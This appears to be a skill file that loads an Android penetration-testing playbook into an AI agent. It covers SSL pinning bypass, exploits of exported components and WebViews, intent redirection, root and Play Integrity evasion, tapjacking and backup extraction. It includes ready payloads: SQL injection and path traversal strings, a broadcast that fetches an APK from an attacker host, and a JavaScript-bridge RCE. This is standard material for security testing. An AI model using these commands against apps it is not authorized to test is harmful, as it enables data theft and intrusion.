android-pentesting-tricks

---
name: android-pentesting-tricks
description: >-
license: MIT
---

# SKILL: Android Pentesting Tricks — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.

## 0. RELATED ROUTING

Before going deep, consider loading:

- [mobile-ssl-pinning-bypass](../mobile-ssl-pinning-bypass/SKILL.md) for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
- [ios-pentesting-tricks](../ios-pentesting-tricks/SKILL.md) when also testing the iOS version of the same app
- [api-sec](../api-sec/SKILL.md) for backend API security testing once traffic is intercepted

### Advanced Reference

Also load [FRIDA_SCRIPTS.md](./FRIDA_SCRIPTS.md) when you need:
- Ready-to-use Frida script templates for common Android testing tasks
- Detailed hook points for OkHttp, Retrofit, Volley, WebView
- Root detection bypass script collection

---

## 1. SSL PINNING BYPASS

### 1.1 Frida Universal Bypass

```bash
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
```

| Hook Point | Library/Class | Coverage |
|---|---|---|
| `X509TrustManager.checkServerTrusted` | Android SDK | All standard HTTPS |
| `OkHttpClient.Builder.sslSocketFactory` | OkHttp 3.x/4.x | Square OkHttp |
| `CertificatePinner.check` | OkHttp 3.x/4.x | OkHttp pinning |
| `HttpsURLConnection.setSSLSocketFactory` | Android SDK | Legacy HTTPS |
| `SSLContext.init` | Android SDK | Custom SSL contexts |
| `WebViewClient.onReceivedSslError` | WebView | WebView SSL errors |
| `TrustManagerFactory.getTrustManagers` | Android SDK | Factory-created TMs |

### 1.2 Objection (Quick Method)

```bash
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
```

### 1.3 Network Security Config (Debug Builds)

If you can modify the APK or it's a debug build:

```xml
<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- Trust user-installed CAs -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>
```

### 1.4 Magisk Module Approach

| Module | Method | Scope |
|---|---|---|
| LSPosed + TrustMeAlready | Hooks system-wide TrustManager | All apps |
| LSPosed + SSLUnpinning | Targeted SSL bypass | Per-app |
| MagiskTrustUserCerts | Moves user CA to system store | All apps trusting system CAs |
| ConscryptTrustUserCerts | Patches Conscrypt | Newer Android (7+) |

---

## 2. COMPONENT EXPOSURE

### 2.1 Exported Activities

```bash
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"
```

### 2.2 Content Providers

```bash
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
```

| Provider Type | Attack Vector | Impact |
|---|---|---|
| Database-backed | SQL injection via `query()` projection/selection | Data leak, auth bypass |
| File-backed | Path traversal via URI | Read arbitrary files |
| Parcelable | Type confusion in custom Parcelable | Code execution |

### 2.3 Broadcast Receivers

```bash
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
```

### 2.4 Exported Services

```bash
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target
```

---

## 3. WEBVIEW VULNERABILITIES

### 3.1 JavaScript Interface RCE (Pre-API 17)

```java
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')
```

### 3.2 Modern WebView Attacks

| Vulnerability | Condition | Exploit |
|---|---|---|
| `setJavaScriptEnabled(true)` + untrusted content | JS enabled + attacker controls loaded URL | XSS → bridge access |
| `setAllowFileAccessFromFileURLs(true)` | file:// can read other file:// | Load `file:///data/data/com.target/...` |
| `setAllowUniversalAccessFromFileURLs(true)` | file:// can access any origin | Exfiltrate via XHR to attacker |
| `loadUrl(user_controlled)` | User input in loadUrl | javascript: scheme or file:// |
| `shouldOverrideUrlLoading` bypass | Incomplete URL validation | Redirect to attacker-controlled page |
| `evaluateJavascript` with tainted data | User data in JS execution | XSS in WebView context |

### 3.3 Deep Link to WebView Chain

```
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
```

---

## 4. INTENT REDIRECTION

Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.

```java
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
```

```bash
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
```

| Pattern | Indicator | Risk |
|---|---|---|
| `getParcelableExtra` → `startActivity` | Intent-in-Intent | Start non-exported activities |
| `getStringExtra("url")` → `startActivity(Intent.ACTION_VIEW)` | URL forwarding | Open arbitrary URLs |
| `getStringExtra("class")` → `Class.forName` → `startActivity` | Dynamic class loading | Start any activity by name |

---

## 5. ROOT DETECTION BYPASS

### 5.1 Common Root Detection Checks

| Check | What It Detects | Frida Bypass |
|---|---|---|
| `su` binary exists | `/system/xbin/su`, `/sbin/su` | Hook `File.exists()` → return false |
| Build tags contain "test-keys" | `Build.TAGS` | Hook `Build.TAGS` → return "release-keys" |
| Magisk Manager installed | Package name check | Hook `PackageManager.getPackageInfo` |
| Superuser.apk present | Su management app | Hook `File.exists()` |
| RootBeer library | Multi-check root detection | Hook all RootBeer check methods |
| SafetyNet/Play Integrity | Server-side attestation | Requires Magisk DenyList + module |
| Abnormal system properties | `ro.debuggable=1`, etc. | Hook `SystemProperties.get` |

### 5.2 Magisk DenyList (Previously MagiskHide)

```bash
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
```

---

## 6. PLAY INTEGRITY / SAFETYNET BYPASS

| Level | What It Checks | Bypass Difficulty |
|---|---|---|
| Basic Integrity | Not rooted, not emulator | Easy (Magisk + DenyList) |
| Device Integrity | Bootloader locked, verified boot | Hard (requires locked bootloader) |
| Strong Integrity | Hardware-backed attestation | Very hard (hardware TEE) |

Techniques:
- Magisk with Zygisk enabled + DenyList for target app
- Play Integrity Fix (PIF) Magisk module: spoofs device fingerprint
- Shamiko module: hides root from specific apps
- Custom ROM with locked bootloader (Pixel-specific tricks)

---

## 7. TAPJACKING (OVERLAY ATTACKS)

```xml
<!-- Malicious overlay activity -->
<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>

<!-- Requires SYSTEM_ALERT_WINDOW permission (draw over other apps) -->
```

| Android Version | Protection | Bypass |
|---|---|---|
| Pre-6.0 | None | Full overlay |
| 6.0–11 | `filterTouchesWhenObscured` (opt-in) | Apps not using it are vulnerable |
| 12+ | Untrusted touches blocked for overlay windows | Partial overlays, timing-based |

---

## 8. BACKUP EXTRACTION

```bash
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)

# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
```

---

## 9. ADDITIONAL TRICKS

### 9.1 Debuggable App Exploitation

```bash
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
```

### 9.2 Drozer (Component Testing Framework)

```bash
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
```

### 9.3 Clipboard Sniffing

```java
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // Exfiltrate copied passwords, tokens, etc.
});
```

---

## 10. ANDROID PENTESTING DECISION TREE

```
Testing Android application
│
├── Can intercept HTTPS traffic?
│   ├── No → SSL pinning in place
│   │   ├── Frida available? → universal SSL bypass script (§1.1)
│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── Debug build? → Network Security Config (§1.3)
│   │   └── None above? → manual decompile + patch + repackage
│   └── Yes → proceed to traffic analysis
│
├── Exported components found?
│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│   ├── Content Providers → SQLi, path traversal (§2.2)
│   ├── Broadcast Receivers → crafted intent injection (§2.3)
│   └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│   ├── File access enabled? → file:// scheme abuse (§3.2)
│   └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│   ├── Client-side checks only? → Frida hook bypass (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│   ├── allowBackup=true? → ADB backup extraction (§8)
│   ├── Debuggable? → run-as for direct data access (§9.1)
│   └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
    └── Overlay possible? → tapjacking (§7)
```